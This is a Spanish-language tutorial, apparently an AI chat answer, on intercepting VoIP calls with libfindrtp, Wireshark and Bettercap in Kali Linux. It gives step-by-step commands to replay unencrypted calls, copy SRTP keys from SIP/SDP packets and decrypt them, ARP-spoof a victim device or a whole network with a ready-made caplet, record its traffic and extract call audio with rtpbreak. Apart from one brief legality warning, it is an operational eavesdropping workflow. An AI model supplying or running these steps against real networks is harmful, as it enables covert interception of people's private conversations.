Libfindrtp: Auditoría de Redes VoIP
Libfindrtp: Auditoría de Redes VoIP
Para entender qué es libfindrtp en Kali Linux, primero hay que ubicarlo en su contexto: es una biblioteca (y herramienta) diseñada para la auditoría de seguridad en redes VoIP.
Aquí tienes un desglose sencillo de qué hace, para qué sirve y cómo se utiliza.
¿Qué es libfindrtp?
libfindrtp es una herramienta técnica que se utiliza para identificar flujos de datos RTP (Real-time Transport Protocol). El protocolo RTP es el estándar que transporta el audio y video en las llamadas de voz sobre IP (VoIP), como las de WhatsApp, Zoom o teléfonos IP de oficina.
Su función principal es "escuchar" el tráfico de red y detectar dónde están ocurriendo conversaciones de voz, incluso si no tienes acceso directo a la señalización (como SIP).
¿Para qué se usa en Kali Linux?
En el mundo del hacking ético y las auditorías de red, se utiliza para:
Interceptar llamadas: Localizar los paquetes de audio para luego reconstruirlos y escucharlos.
Análisis de tráfico: Identificar qué dispositivos en una red están realizando llamadas activas.
Pruebas de seguridad: Verificar si el tráfico de voz de una empresa está cifrado o si es vulnerable a intercepciones.
Cómo funciona el proceso de intercepción
Normalmente, libfindrtp es una pieza dentro de un rompecabezas más grande. El flujo suele ser:
Captura: Se usa una herramienta como
tcpdumpoWiresharkpara obtener el tráfico de red.Identificación: libfindrtp analiza esos datos y dice: "Oye, estos paquetes de aquí son una llamada de audio".
Extracción: Una vez identificados, se pueden usar herramientas como
rtpbreakortpinsertrfc2833para extraer el audio real.
Instalación y Uso Básico
Aunque Kali Linux viene con muchas herramientas preinstaladas, a veces necesitas compilar estas bibliotecas específicas desde sus repositorios o instalarlas mediante el gestor de paquetes.
Instalación técnica
Si estás buscando la biblioteca de desarrollo, suele instalarse así:
sudo apt update
sudo apt install libfindrtp-dev
Ejemplo de concepto
Si estuvieras programando una herramienta propia en C o C++ que necesite detectar llamadas, llamarías a las funciones de esta librería para que analice los "headers" (cabeceras) de los paquetes y confirme si el payload es efectivamente multimedia en tiempo real.
Una pequeña nota de advertencia
Interceptar comunicaciones privadas sin consentimiento es ilegal en la mayoría de los países. Como usuario de Kali Linux, asegúrate de usar estas herramientas siempre en entornos controlados (laboratorios) o bajo contratos de Pentesting autorizados.
Verlo en Wireshark es mucho más intuitivo que leer líneas de código, ya que te permite "ver" la conversación y hasta reproducir el audio si no está cifrado.
Aquí tienes los pasos para identificar y analizar flujos RTP (los que detectaría libfindrtp) dentro de Wireshark:
1. Filtrar el tráfico RTP
Cuando abres una captura de red (.pcap), verás miles de paquetes. Para aislar la voz, escribe esto en la barra de filtros superior:
rtp
Si esto no muestra nada, pero sabes que hay una llamada, es posible que Wireshark no haya reconocido los paquetes como RTP. En ese caso, haz clic derecho sobre un paquete sospechoso (UDP) y selecciona:
Decode As... -> En la columna "Current" selecciona RTP.
2. El análisis maestro: RTP Streams
La forma más profesional de ver lo que detecta libfindrtp es usar el menú especializado de Wireshark:
Ve a la pestaña superior Telephony.
Selecciona RTP -> RTP Streams.
Se abrirá una ventana que lista todas las "llamadas" o flujos de audio encontrados. Verás datos críticos como:
Source/Destination Address: Quién habla con quién.
Payload: El códec usado (ej. G.711, Opus, G.722).
Packet Loss: Si la llamada se escucha mal por pérdida de datos.
Jitter: La variación en el tiempo de llegada de los paquetes.
3. Escuchar la llamada (Reproducción)
Si la llamada no tiene cifrado (SRTP), puedes reconstruir el audio ahí mismo:
En la ventana de RTP Streams, selecciona el flujo que te interese.
Haz clic en el botón Analyze.
En la nueva ventana, haz clic en Play Streams.
¡Listo! Verás una gráfica de ondas y podrás darle al botón de Play para escuchar la conversación.
Diferencia clave: RTP vs. SRTP
Es importante notar que si la llamada es segura (SRTP), Wireshark (y libfindrtp) verán los paquetes, pero al intentar reproducirlos solo escucharás ruido blanco o estática, ya que el contenido está encriptado.
Resumen de atajos útiles
| Acción | Filtro / Menú |
| Filtrar RTP | rtp |
| Filtrar errores | rtp.sequence != rtp.setup-frame |
| Ver todas las llamadas | Telephony > RTP > RTP Streams |
Si ya tienes las llaves de cifrado (normalmente obtenidas mediante la captura del intercambio de señalización SIP/SDP), el proceso en Wireshark es bastante técnico pero directo. Cuando una llamada es segura, el protocolo pasa de ser RTP a SRTP (Secure RTP).
Para descifrarlo, Wireshark necesita que le proporciones la "Master Key" que se negoció al inicio de la sesión.
Pasos para descifrar SRTP en Wireshark
1. Localizar la llave en el tráfico SIP
Antes de configurar nada, debes encontrar la llave dentro del paquete de señalización.
Filtra por
sip.Busca el paquete 200 OK (que acepta la llamada) o el INVITE.
En los detalles del paquete, busca la sección Session Description Protocol (SDP).
Busca el atributo
crypto. Verás algo parecido a esto:a=crypto:1 AES_CM_128_HMAC_SHA1_80 inline:WnBZ...[llave_en_base64]
2. Configurar el protocolo en Wireshark
Una vez que tienes esa cadena de texto (la llave), haz lo siguiente:
Ve al menú Edit -> Preferences.
En el panel izquierdo, despliega Protocols y busca SRTP.
Haz clic en el botón Edit... junto a "SRTP Users Table".
Añade una nueva entrada con estos datos:
Context: Selecciona el algoritmo (ej.
AES_CM_128_HMAC_SHA1_80).Key: Pega la llave en Base64 que copiaste del paquete SDP.
Dale a OK y guarda los cambios.
3. Verificar el descifrado
Si la llave es correcta y corresponde a esa sesión específica:
Los paquetes que antes aparecían como
SRTPahora se identificarán también comoRTP.Podrás ir a Telephony -> RTP -> RTP Streams y el botón Play Streams ahora reproducirá audio claro en lugar de ruido digital.
¿Por qué a veces no funciona? (Problemas comunes)
Descifrar voz sobre IP no siempre es tan lineal debido a cómo se gestionan las llaves:
| Problema | Explicación |
| Perfect Forward Secrecy (PFS) | Si se usa un intercambio Diffie-Hellman, la llave no viaja en el SDP y no puedes extraerla simplemente mirando el paquete. |
| Llaves dinámicas | Algunos sistemas cambian la llave durante la llamada (re-keying), lo que rompe el descifrado a mitad de camino. |
| RTCP Privado | A veces el control del flujo (RTCP) también está cifrado y confunde al analizador de Wireshark. |
Herramienta alternativa en Kali: srtp-decrypt
Si prefieres la línea de comandos (estilo libfindrtp), puedes usar herramientas como srtp-decrypt. Esta utilidad toma un archivo .pcap y la llave maestra por terminal para generar un nuevo archivo con el tráfico ya descifrado:
srtp-decrypt -k <tu_llave_base64> < archivo_entrada.pcap > archivo_descifrado.pcap
Para saber si una llamada es "indescifrable" mediante el método anterior (mirar el paquete SDP), debemos identificar si se usó PFS (Perfect Forward Secrecy) a través de un intercambio de llaves Diffie-Hellman.
Cuando esto ocurre, la llave maestra no se envía en texto claro (ni siquiera en Base64) dentro del mensaje SIP, sino que se genera de forma dinámica y privada entre los dos puntos.
Cómo identificar Diffie-Hellman (DTLS) en Wireshark
Si estás analizando tráfico de aplicaciones modernas como WhatsApp, WebRTC (navegadores) o Signal, lo más probable es que veas esto:
Filtro: Escribe
dtlsen la barra de filtros.El "Handshake": Busca paquetes que digan
Client HelloyServer Hello.La señal: Si ves que después de estos paquetes empieza el tráfico
SRTP, significa que las llaves se intercambiaron mediante DTLS-SRTP.
El problema: En este escenario, aunque tengas el archivo
.pcap, no hay ninguna llave que copiar y pegar. La llave solo existió en la memoria RAM de los dos dispositivos durante la llamada.
¿Cuándo SÍ se puede descifrar? (Resumen de escenarios)
Para que tu trabajo con libfindrtp y Wireshark tenga éxito, la arquitectura debe ser una de estas:
| Escenario | ¿Es descifrable? | Método |
| RTP Estándar | SÍ (Fácil) | No hay cifrado. Solo dale a "Play" en Wireshark. |
| SDES (SRTP) | SÍ (Medio) | La llave está en el atributo a=crypto del SDP (lo que hicimos antes). |
| DTLS-SRTP | NO (Muy difícil) | Necesitarías extraer los "SSL keys" del navegador o del sistema en tiempo real. |
| ZRTP | NO | Es el protocolo que usa Signal; las llaves se destruyen al colgar. |
Herramientas Pro en Kali para estos casos
Si libfindrtp te confirma que hay tráfico pero Wireshark te muestra que es inalcanzable, los auditores de seguridad suelen saltar a herramientas de "Man-in-the-Middle" (MitM):
Ettercap / Bettercap: Para posicionarte entre el teléfono y el servidor.
SIPVicious: Una suite específica para auditar sistemas VoIP y encontrar extensiones sin contraseña.
RTPEngine: A veces se usa para forzar al servidor a bajar el nivel de cifrado (Downgrade Attack), aunque cada vez es menos efectivo en sistemas modernos.
Para realizar un ataque de Hombre en el Medio (MitM) con Bettercap en Kali Linux, el objetivo es convencer al dispositivo víctima de que tú eres el router, y al router de que tú eres la víctima. Esto se llama ARP Spoofing.
Aquí tienes la guía paso a paso para interceptar tráfico en tu red local:
1. Preparación e Instalación
Primero, asegúrate de tener Bettercap instalado y actualizado:
sudo apt update
sudo apt install bettercap
Luego, identifica tu interfaz de red (normalmente eth0 para cable o wlan0 para Wi-Fi) usando el comando ip a.
2. Iniciando Bettercap
Lanza la herramienta especificando tu interfaz:
sudo bettercap -iface eth0
Entrarás en el modo interactivo. Ahora, vamos a preparar el "veneno" para la red:
Paso A: Escanear la red
Para encontrar a tu víctima, primero debes saber quién está conectado.
net.probe on
Esto envía paquetes para descubrir dispositivos. Para ver la lista de dispositivos encontrados, escribe net.show. Anota la IP de tu objetivo (ejemplo: 192.168.1.15).
Paso B: Configurar el ARP Spoofing
Ahora diremos a Bettercap quién es el objetivo y quién es el router (Gateway).
set arp.spoof.targets 192.168.1.15
set arp.spoof.fullduplex true
fullduplex truepermite interceptar tanto el tráfico que sale del dispositivo como el que entra.
Paso C: Iniciar el ataque
arp.spoof on
3. Interceptar y ver los datos
Una vez que el ataque está activo, el tráfico del objetivo pasa por tu máquina. Para ver lo que está pasando (incluyendo peticiones HTTP, DNS, etc.), activa el "sniffer":
net.sniff on
Si el objetivo está realizando llamadas VoIP o tráfico que herramientas como libfindrtp detectarían, verás pasar ráfagas de paquetes UDP.
Tip de experto: Si quieres guardar todo ese tráfico para analizarlo después con Wireshark (como vimos en los pasos anteriores), usa:
set net.sniff.output archivo_captura.pcap
4. ¿Cómo detenerlo?
Es vital limpiar la red después de la prueba para que el dispositivo de la víctima recupere la conexión normal:
arp.spoof off
net.probe off
exit
Resumen de Comandos Rápidos
| Comando | Función |
help | Muestra todos los módulos disponibles. |
ticker on | Muestra información en tiempo real en tu pantalla. |
net.recon on | Inventario continuo de dispositivos en la red. |
Nota de seguridad: Al hacer esto, te conviertes en el cuello de botella. Si tu computadora es lenta o tu señal Wi-Fi es débil, la víctima notará que el internet va muy lento o se corta.
Los Caplets son básicamente "recetas" o scripts de automatización para Bettercap. En lugar de escribir 10 comandos cada vez que quieras auditar una red, creas un archivo .cap y lo lanzas de golpe.
Esto es extremadamente útil cuando usas herramientas como libfindrtp en paralelo, porque te permite estabilizar el "Man-in-the-Middle" rápidamente.
1. Crear tu primer Caplet
Abre una terminal en Kali y crea un archivo llamado voip_audit.cap:
nano voip_audit.cap
Pega el siguiente contenido (ajusta la interfaz si no es eth0):
# Configuración de red
net.probe on
set net.sniff.verbose false
set net.sniff.output voip_capture.pcap
# Configuración del ataque ARP Spoofing
# Deja 'arp.spoof.targets' vacío para atacar a TODA la red (¡Cuidado!)
# O pon una IP específica
set arp.spoof.targets 192.168.1.15
set arp.spoof.fullduplex true
# Iniciar módulos
arp.spoof on
net.sniff on
# Mostrar un mensaje visual para saber que funciona
set ticker.commands 'clear; net.show; net.sniff.stats'
ticker on
2. Ejecutar el Caplet
Para lanzar toda tu configuración de una sola vez, usa el flag -caplet:
sudo bettercap -iface eth0 -caplet voip_audit.cap
3. Integración con libfindrtp
Una vez que el Caplet está corriendo, Bettercap está guardando todo el tráfico en voip_capture.pcap. Ahora es cuando entra en juego la librería que mencionaste al principio.
Puedes abrir otra terminal y usar herramientas basadas en libfindrtp para analizar ese archivo en tiempo real o al terminar la sesión.
Por ejemplo, si usas rtpbreak (que depende de estas librerías):
rtpbreak -r voip_capture.pcap
Esto escaneará el archivo, detectará los flujos RTP y extraerá automáticamente los archivos de audio (.raw o .wav) de las conversaciones encontradas.
Resumen del Flujo de Trabajo Profesional
Bettercap (Caplet): Intercepta el tráfico y lo guarda en un
.pcap.libfindrtp / rtpbreak: Analiza el
.pcappara encontrar paquetes de voz.Wireshark: Inspecciona manualmente si hay cifrado (SRTP) o si el audio es claro.
¿Qué quieres probar a continuación?
Podemos ver cómo personalizar el Ticker de Bettercap para que solo te avise cuando detecte tráfico UDP (típico de VoIP), o puedo enseñarte a usar SIPVicious para ver si la centralita telefónica tiene extensiones vulnerables.